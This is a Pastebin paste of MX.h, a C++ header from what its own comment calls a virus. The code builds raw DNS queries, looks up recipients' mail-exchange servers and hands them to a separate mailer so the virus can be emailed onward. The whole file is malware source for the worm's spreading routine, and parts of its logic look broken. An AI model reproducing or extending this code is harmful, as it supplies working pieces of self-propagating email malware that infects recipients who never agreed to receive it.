Advertisement
FlyFar

MX.h

Mar 26th, 2024
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 9.12 KB | Cybersecurity | 0 0
  1. /****************************************************
  2. * Originally written in December 03
  3. *
  4. * Purpose:
  5. * Manually queries the users DNS server
  6. * and looksup the MX record of the recipient's
  7. * address. Then, mailer.cpp takes the MX server
  8. * address and looks up the IP address of the server
  9. * and uses sendmail function to send the virus to them
  10. *
  11. *
  12. *****************************************************/
  13.  
  14. #define ERROR_LEVEL_NONE 0
  15. #define ERROR_LEVEL_SEND 1
  16. #define ERROR_LEVEL_RECEIVE 2
  17.  
  18.  
  19. SOCKET hServer;
  20. WSADATA wsData;
  21. int ErrorLevel = ERROR_LEVEL_NONE;
  22.  
  23. /* Structures to hold DNS information */
  24.  
  25. typedef struct DNS_HEAD {
  26.     WORD wIdentification;
  27.     WORD wFlags;
  28.     WORD wNumberOfQuestions;
  29.     WORD wNumberOfAnswers;
  30.     WORD wNumberOfAuthority;
  31.     WORD wNumberOfAdditional;
  32. } * PDNSH, DNSH;
  33.  
  34. typedef struct DNS_QUESTION {
  35.     char sQuestion[256];
  36.     WORD wType;
  37.     WORD wClass;
  38. } * PDNSQ, DNSQ;
  39.  
  40. typedef struct DNS_RFIXED {
  41.     WORD wType;
  42.     WORD wClass;
  43.     DWORD dwTTL;
  44.     WORD wDataLength;
  45. } * PDNSR, DNSR;
  46.  
  47. typedef struct DNS_RESOURCE {
  48.     char sName[256];
  49.     DNSR dnsFixed;
  50.     WORD wPreferenceMX;
  51.     char sHostname[256];
  52.  
  53. } * PDNSRR, DNSRR;
  54.  
  55. typedef struct MX_REPLY {
  56.  
  57.     DWORD   dwNumReplies;
  58.     PDNSRR  mxReplies;
  59.  
  60. } MX, * PMX, FAR * LPMX;
  61.  
  62.  
  63.  
  64. #define DNS_HEADER_LEN      12
  65. #define DNS_QUESTION_LEN    260
  66. #define DNS_RFIXED_LEN      10
  67. #define DNS_RESOURCE_LEN    522
  68. #define DNS_MAX_QUESTION    275
  69.  
  70.  
  71. WORD MxGetID(WORD wAdd) {
  72.  
  73.     static WORD wID = LOWORD(GetCurrentThreadId());
  74.     return (wID + wAdd);
  75. }
  76. // Makes the MX record query which is sent to the server
  77. char* MxFormQuery(LPCSTR szQuery, WORD* pwSize) {
  78.  
  79.     WORD wHead[]= {htons(MxGetID(0)),0,0x0100,0,0,0};
  80.     static char cBuffer[DNS_MAX_QUESTION];
  81.    
  82.     memset((void*) cBuffer, 0, DNS_MAX_QUESTION);
  83.     memcpy((void*) cBuffer, (void*) wHead, 12);
  84.  
  85.     int i = 0, p = 0;
  86.     int s = strlen(szQuery)+1;
  87.     int max = 12 + s + 5;
  88.  
  89.     if (pwSize)
  90.         *pwSize = (WORD) max;
  91. //begin formulating server query
  92.  
  93.     for(i=0;i<=s;i++) {
  94.         if (i==s) {
  95.             cBuffer[p+12] = i-p-1;
  96.             DWORD dwX = 0x01000F00;
  97.             memcpy((void*) &cBuffer[12+1+i], (void*) &dwX, 4);
  98.         } else if (szQuery[i]=='.') {
  99.             cBuffer[p+12] = i-p;
  100.             p = i+1;
  101.         } else {
  102.             cBuffer[12+1+i] = szQuery[i];
  103.         }
  104.     }
  105.  
  106.     return cBuffer;
  107. }
  108.  
  109. //read in dns name and MX server
  110. int MxReadName(const char* szDNS, int iOffset, char* szBuffer) {
  111.  
  112.     if (!szDNS) return 0;
  113.  
  114.     WORD wOctPtr = 0;
  115.     signed int i = 0;
  116.     BYTE c = NULL;
  117.    
  118.     for (i=iOffset;szDNS[i];i++) {
  119.         int j = i - iOffset - 1;
  120.  
  121.         if (!c)
  122.         {
  123.             c = szDNS[i];
  124.             if (j!=(-1)) szBuffer[j] = '.';
  125.  
  126.             if (c & 0xC0) {
  127.                
  128.                 c = c & 0x3F;
  129.                 wOctPtr = c;
  130.                 wOctPtr <<= 8;
  131.                 c = szDNS[++i];
  132.                 wOctPtr |= c;
  133.  
  134.                 return MxReadName(szDNS,wOctPtr,&szBuffer[j+1])?(i+1):0;
  135.             }
  136.            
  137.         } else {
  138.             szBuffer[j] = szDNS[i];
  139.             c--;
  140.         }
  141.     }
  142.  
  143.     szBuffer[i++] = 0;
  144.     return i;
  145. }
  146.  
  147. int MxGetQuestion(const char* szDNS, PDNSQ pQuestion) {
  148.  
  149.     DNSQ dns = {0};
  150.     int iOff = DNS_HEADER_LEN;
  151.  
  152.     if (int i = MxReadName(szDNS,iOff,dns.sQuestion)) {
  153.         dns.wType = htons(*((WORD*) &szDNS[i]));
  154.         dns.wClass = htons(*((WORD*) &szDNS[i+2]));
  155.         if (pQuestion) memcpy((void*) pQuestion,
  156.             (void*) &dns, DNS_QUESTION_LEN);
  157.         return (i+4);
  158.     } else {
  159.         return 0;
  160.     }
  161. }
  162.  
  163. int MxGetRes(const char* szDNS, int iOff, PDNSRR pDns) {
  164.  
  165.     DNSRR dns = {0};
  166.     signed int i = 0;
  167.     signed int iRet = 0;
  168.     if (i = MxReadName(szDNS,iOff,dns.sName))
  169.     {
  170.         memcpy((void*) &dns.dnsFixed, (void*) &szDNS[i],
  171.             DNS_RFIXED_LEN);
  172.  
  173.         dns.dnsFixed.dwTTL          = htonl(dns.dnsFixed.dwTTL);
  174.         dns.dnsFixed.wClass         = htons(dns.dnsFixed.wClass);
  175.         dns.dnsFixed.wDataLength    = htons(dns.dnsFixed.wDataLength);
  176.         dns.dnsFixed.wType          = htons(dns.dnsFixed.wType);
  177.  
  178.         i += DNS_RFIXED_LEN;
  179.         iRet=i+dns.dnsFixed.wDataLength;
  180.         switch(dns.dnsFixed.wType) {
  181.  
  182.         case 2:
  183.             iRet = MxReadName(szDNS, i, dns.sHostname);
  184.             break;
  185.  
  186.         case 15:
  187.  
  188.             dns.wPreferenceMX =  * ((WORD*) &szDNS[i]);
  189.             dns.wPreferenceMX = htons(dns.wPreferenceMX);
  190.             iRet = MxReadName(szDNS, i+2, dns.sHostname);
  191.             break;
  192.  
  193.         default:
  194.  
  195.             break;
  196.         }
  197.  
  198.         if (pDns && i) memcpy((void*) pDns, (void*) &dns,
  199.             DNS_RESOURCE_LEN);
  200.        
  201.     }
  202.     return iRet;
  203. }
  204.  
  205.  
  206. PDNSRR MxGetResources(const char* szDNS, int num) {
  207.  
  208.     PDNSRR pDnsRR = NULL;
  209.     int iOff = MxGetQuestion(szDNS,NULL);
  210.  
  211.     if (!szDNS) {
  212.         return NULL;
  213.     } else if (!(pDnsRR = new DNSRR[num])) {
  214.         return NULL;
  215.     }
  216.  
  217.     PDNSRR pPoint = pDnsRR;
  218.  
  219.     for (int i = 0; i < num; i++) {
  220.         if (!(iOff = MxGetRes(szDNS,iOff,pPoint))) {
  221.             delete[] pDnsRR;
  222.             return NULL;
  223.         }
  224.         pPoint = &pDnsRR[i+1];
  225.     }
  226.     return pDnsRR;
  227. }
  228.  
  229. DWORD GetIPAddr(LPCSTR strHost) {
  230.     HOSTENT* hp = gethostbyname(strHost);
  231.     return hp?(((PIN_ADDR)hp->h_addr)->S_un.S_addr):0;
  232. }
  233. // checks if the address is really a valid ip address
  234. bool IsIPAddr(LPCSTR sHost) {
  235.     if (!sHost) return false;
  236.     if (strlen(sHost)>15) return false;
  237.  
  238.     for (int ptr=0;ptr<=3;sHost++) {
  239.         if (!*sHost) return true;
  240.         if (*sHost=='.') { ptr++; continue;}
  241.         if (!isdigit(*sHost)) return false;
  242.     }
  243.  
  244.     return false;
  245. }
  246. //is it a digit? 0-9
  247. bool IsDigit(LPCSTR sVal) {
  248.     do { if (!isdigit(*sVal)) return false; }
  249.     while (*++sVal);
  250.     return true;
  251. }
  252.  
  253. //pauses WSA to get response
  254. bool WSAWait(HANDLE hEvent, int iTimeout) {
  255.  
  256.     int iRet = WSAGetLastError();
  257.  
  258.     if (!iRet) {
  259.         ResetEvent(hEvent);
  260.         return true;
  261.     }
  262.  
  263.     else if (iRet==WSAEWOULDBLOCK) {
  264.         if (WaitForSingleObject(hEvent,iTimeout)) {
  265.             return false;
  266.         } else if (!ResetEvent(hEvent)) {
  267.             return false;
  268.         } else {
  269.             return true;
  270.         }
  271.     } else {
  272.         return false;
  273.     }
  274. }
  275. //Recursively searches the server for the MX record
  276. MX MxRecursiveGet(LPCSTR sRequest, DWORD dwServerIP, int iTimeout) {
  277.  
  278.     static DWORD ips[200];
  279.     static DWORD ipc;
  280.  
  281.     static WSADATA wsa = {0};
  282.     bool bInitiator = false;
  283.  
  284.     MX mxReturn = {0};
  285.  
  286.             bInitiator = true;
  287.             ipc = 0;
  288.    
  289.     if (!bInitiator) {
  290.  
  291.         for (DWORD i = 0; i < ipc; i++) {
  292.             if (dwServerIP == ips[i])
  293.                 return mxReturn;
  294.         }
  295.  
  296.         if (ipc >= 199) return mxReturn;
  297.         else ips[++ipc] = dwServerIP;
  298.  
  299.     }
  300.  
  301.         signed int i = 0, jmp = 0;
  302.         SOCKADDR_IN sAddr = {0};
  303.         SOCKET s = INVALID_SOCKET;
  304.         DWORD dwZero = NULL;
  305.  
  306.         DNSH dnsHead = {0};
  307.         DNSQ dnsQu = {0};
  308.         HANDLE hEvent = NULL;
  309.  
  310.         char *szQuery=NULL, *szReply=NULL;
  311.         WORD wQuery=0, wReply=0, wQ = 0;
  312.  
  313.         if (!(szQuery = MxFormQuery(sRequest, &wQuery)))
  314.             goto end_get;
  315.  
  316.         else wQ = htons(wQuery);
  317.        
  318.         sAddr.sin_addr.S_un.S_addr = dwServerIP;
  319.         sAddr.sin_family = AF_INET;
  320.         sAddr.sin_port = htons(53);
  321.  
  322.  
  323.  
  324.         if ((s = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  325.             goto end_get;
  326.  
  327.  
  328.         if (!(hEvent = CreateEvent(NULL,TRUE,FALSE,NULL)))
  329.             goto end_get;
  330.        
  331.         if (WSAEventSelect(s,hEvent,FD_CONNECT) == SOCKET_ERROR)
  332.             goto end_get;
  333.  
  334.         i = connect(s,(PSOCKADDR) &sAddr, sizeof(sAddr)); //lets connect to the server :)
  335.         if ((i==SOCKET_ERROR)&&WSAGetLastError()!=WSAEWOULDBLOCK)
  336.             goto end_get;
  337.  
  338.         if (WaitForSingleObject(hEvent,iTimeout))
  339.             goto end_get;
  340.  
  341.         if ((WSAEventSelect(s,hEvent,NULL)==SOCKET_ERROR) ||
  342.             (ioctlsocket(s,FIONBIO,&dwZero)==SOCKET_ERROR ))
  343.         {
  344.             goto end_get;
  345.         }
  346.  
  347.         if (!ResetEvent(hEvent)) {
  348.             goto end_get;
  349.         }
  350.  
  351.         if (send(s,(LPCSTR) &wQ, 2, 0) != 2)
  352.             goto end_get;
  353.         if (send(s,(LPCSTR) szQuery, wQuery, 0) != wQuery)
  354.             goto end_get;
  355.  
  356.    
  357.         if (WSAEventSelect(s,hEvent,FD_READ) == SOCKET_ERROR)
  358.             goto end_get;
  359.  
  360.         if (recv(s,(char*)&wReply,2,0)!=2) {
  361.             if (WSAWait(hEvent,iTimeout)) {
  362.                 if (recv(s,(char*)&wReply,2,0)!=2) {
  363.                     goto end_get;
  364.         } } }
  365.  
  366.  
  367.         wReply = htons(wReply);
  368.  
  369.         if (!(szReply=(char*)malloc(wReply)))
  370.             goto end_get;      
  371.  
  372.         if (recv(s,szReply,wReply,0)!=wReply) {
  373.             if (WSAWait(hEvent,iTimeout)) {
  374.                 if (recv(s,szReply,wReply,0)!=wReply) {
  375.                     goto end_get;
  376.         } } }
  377.  
  378.         CloseHandle(hEvent);
  379.         closesocket(s);
  380.         s = INVALID_SOCKET;
  381.        
  382.         for (i = 0; i < sizeof(dnsHead); i+=2) {
  383.             char cTemp = szReply[i];
  384.             szReply[i] = szReply[i+1];
  385.             szReply[i+1] = cTemp;
  386.         }
  387.  
  388.         memcpy((void*) &dnsHead, (void*) szReply,
  389.             DNS_HEADER_LEN);
  390.  
  391.         if (dnsHead.wIdentification == MxGetID(0)) {
  392.                
  393.             if (dnsHead.wNumberOfAnswers) {
  394.  
  395.  
  396.                 if (mxReturn.mxReplies = MxGetResources(szReply,
  397.                     dnsHead.wNumberOfAnswers))
  398.                 {
  399.                     mxReturn.dwNumReplies = dnsHead.wNumberOfAnswers;
  400.                 }
  401.  
  402.                 goto end_get;
  403.             }
  404.  
  405.             else if (dnsHead.wNumberOfAuthority) {
  406.  
  407.                 if (PDNSRR dnsRes = MxGetResources(szReply,
  408.                     dnsHead.wNumberOfAuthority))
  409.                 {
  410.                     free(szReply);
  411.                     szReply = NULL;
  412.  
  413.                     for (i=0;(i<dnsHead.wNumberOfAuthority)&&(!mxReturn.mxReplies);i++) {
  414.                         if ((dnsRes[i].dnsFixed.wType == 2) && // Authority Nameserver
  415.                             (dnsRes[i].dnsFixed.wClass== 1)) // Internet
  416.                         {
  417.                             DWORD dwConnect = GetIPAddr(dnsRes[i].sHostname);
  418.                             if (dwConnect) mxReturn = MxRecursiveGet(
  419.                                 sRequest,dwConnect,iTimeout);
  420.                         }
  421.                     }
  422.  
  423.                     delete[] dnsRes; //deallocate memory space
  424.                 }
  425.  
  426.             }
  427.         }
  428.  
  429. end_get:
  430.         if (s != INVALID_SOCKET) closesocket(s);
  431.         if (szReply) free(szReply);
  432. return mxReturn;
  433.     }
  434.  
  435. //Clears the buffer (in the structure)
  436. void MxClearBuffer(PMX m) {
  437.     if (m->mxReplies) delete[] m->mxReplies;
  438.     memset((void*) m, 0, sizeof(MX));
  439. }
  440.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement